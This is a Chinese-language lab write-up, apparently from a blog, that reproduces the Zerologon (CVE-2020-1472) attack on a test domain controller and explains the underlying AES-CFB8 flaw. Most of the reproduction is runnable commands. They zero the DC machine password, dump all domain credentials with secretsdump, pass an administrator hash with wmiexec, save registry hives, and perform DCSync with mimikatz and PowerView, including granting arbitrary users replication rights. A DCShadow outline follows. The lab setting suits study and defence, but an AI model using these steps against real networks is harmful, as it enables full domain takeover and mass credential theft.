• 漏洞复现


    靶机用的 vulnstack2 的 DC,攻击机 kali,设置同一网段。
    工具:https://github.com/dirkjanm/CVE-2020-1472
    python3 cve-2020-1472-exploit.py DC 192.168.157.135  (域控密码置空)
    空 hash 为:31d6cfe0d16ae931b73c59d7e0c089c0
    

    机器用户不能直接登录,但域控的机器用户具备 Dcsync 特权,可以滥用该特权进行 Dcsync。
    (见补充)
    然后使用 impacket 中的 secretsdump 导出用户所有凭据
    python secretsdump.py de1ay.com/DC\$@192.168.157.135 -no-pass
    

    image-20220208224705070
    DC的密码已被置空,同时拿到了 administrator 的 hash,可利用这个拿下域控
    python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3b24c391862f4a8531a245a0217708c4 Administrator@192.168.157.135
    

    image-20220208224953006
    因为密码置空后,用户在 AD 中的密码(ntds.dic)与本地的注册表 /lsass 里面的密码不一致,会脱离域控,所以要将其恢复。有三种方法。
    • 从注册表/lsass里面读取机器用户原先的密码,恢复AD里面的密码

      shell 中执行
      reg save HKLM\SYSTEM system.save
      reg save HKLM\SAM sam.save
      reg save HKLM\SECURITY security.save
      get system.save
      get sam.save
      get security.save
      del /f system.save
      del /f sam.save
      del /f security.save
      

      利用 secretsdump 提取密码
      python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
      

      最后用 restorepassword.py 恢复就行了
      python3 restorepassword.py de1ay.com/DC@192.168.157.135 -target-ip 192.168.157.135 -hexpass 6fe0c5167f01d42217a8f7836947654eb7884222fda599f3c96ab98ca48632e699f888b7191559582a5a1d61c6ab1d0ee3415a41580d802efe1b546453a647675ca1706f86f6e9bbd17469ffe4cda5abb86a1f9f91651959a7662aad2f2695cd71ba46ebd5708ae5c447ac81f0154b09bf1e7cfa9a5dd3fe99160101ef487c829481d126cfaa48d8b753df22f20c8717762a0eae4d0149c7069397bbe956a400e7fe4b956aa7185761cf8ec4e2cfe7e6f15bba48469ba9052b284fb1f5997bf22e34727cb180d82007198468386a25d61e0f129d78b7327b009cf8db733276f76ab5c1749b33bc2b6592f43f2a846970
      
    • 从 ntds.dict 中读密码然后恢复 AD 中的密码

      python secretsdump.py de1ay.com/DC\$@192.168.157.135 -dc-ip 192.168.157.135 -just-dc-user de1ay\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0 -history
      
    • 一次性重置计算机的机器账户密码(包括AD,注册表,lsass 里面的密码)

      powershell Reset-ComputerMachinePassword
      
  • 漏洞分析


    • 加密过程中的问题:

      netlogon 用于对域中用户和其他服务进行身份验证,使用 RPC协议 MS-NRPC 通讯。
      机器用户访问 RPC 函数之前会里利用本身的 hash 进行校验,使用了 AES_CFB8 加密方式,
      t0134ae7013f4c14efa
      而当 IV 的 8 字节都是 0 的时候(IV=000000000000000000000000000000),如果使每一轮的明文内容和参加 AES 运算的上一轮密文的前 8 位相同,就可以保证每一轮加密后的密文是00,最后得到的密文也就是 000000000000000000000000000000。
      在 key 固定的情况下,参加 AEC运算的上一轮密文的前 8 位是固定的,而每一轮的明文和参加 AES 运算的上一轮密文的前 8 位一样,那么要求每一轮的明文内容必须一样,所以明文就是 abababab 这种格式。
      最后要解决的就是确保第一轮(加密 IV) 的结果的前 8 位和明文前 8 位相同就可以了。只需要 2 的 8 次方次就可,也就是说即使不知道 key通过反复运行多次就能撞到我们想要的条件了。
    • netlogon 认证协议绕过

      t018b7c797053d32722
      计算 ClientChallenge 使用 ComputeNetlogonCredential 函数,通过协商 flag 来选择是用 DES_ECB 还是 AES_CFB 加密。
      所以可以重复向 Server 发送一个 ClientChanllenge(满足 ababab 格式),直到出现一个 session_key,使得服务端生成的 ClientCredential 也为00000000000000。
      这里默认还会增加签名校验(通过 session_key)加密,但我们的 session_key 为 0000000000000000 无法生成签名,所以要取消对应标志位来关闭这个选项。
    • 重置密码漏洞:

      在认证绕过后,就可以调用任意 RPC 函数了,作者最后选择了 NetrServerPasswordSet2,大致原因就是调用之前需要经过认证,而认证部分的参数我门可控(通过 ClientChallenge),也就是能绕过了。
  • 补充1:Dcsync 攻击


    域内的不同 DC 之间,每 15min 都会有一次域数据同步,DC 会发送一个 GetNCChanges 请求给另一个 DC,请求的数据需要同步的数据,那么如果有一个 Dcsync 权限的用户就可以模仿成一个域控,向真实域控请求数据。
    有 Dcsync 权限的用户:
    • Administrators组内的用户
    • Domain Admins组内的用户
    • Enterprise Admins组内的用户
    • 域控制器的计算机帐户

    即:默认情况下域管理员组具有该权限
    可通过 mimikatz 实现
    mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
    

    或者 powershell,工具 powerview + https://gist.github.com/monoxgas/9d238accd969550136db
     Import-Module .\powerview.ps1
    Get-ObjectAcl -DistinguishedName "dc=1ight,dc=top" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} (查找域内拥有复制或更改目录权限的用户)
    Add-ObjectAcl -TargetDistinguishedName "dc=1ight,dc=top" -PrincipalSamAccountName username -Rights DCSync -Verbose    (授予任何用户DCsync权限)
    Invoke-DCSync -DumpForest | ft -wrap -autosize  (导出域内所有用户的 hash)
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -a (导出 administrator账户的 hash)
    
  • 补充2:DCShadow 攻击


    具备域管理员权限条件下,攻击者可以创建伪造的域控制器,将预先设定的对象或对象属性复制到正在运行域服务器中。
    攻击流程:
    1. 在目标域的 AD 活动目录注册一个伪造的 DC 中;
    2. 使伪造的 DC 被其他的 DC 认可,能够参与域复制 ;
    3. 强制触发域复制,将指定的新对象或修改后的对象属性同步复制到其他 DC 中;

     
  • 参考文献:


标签: none

添加新评论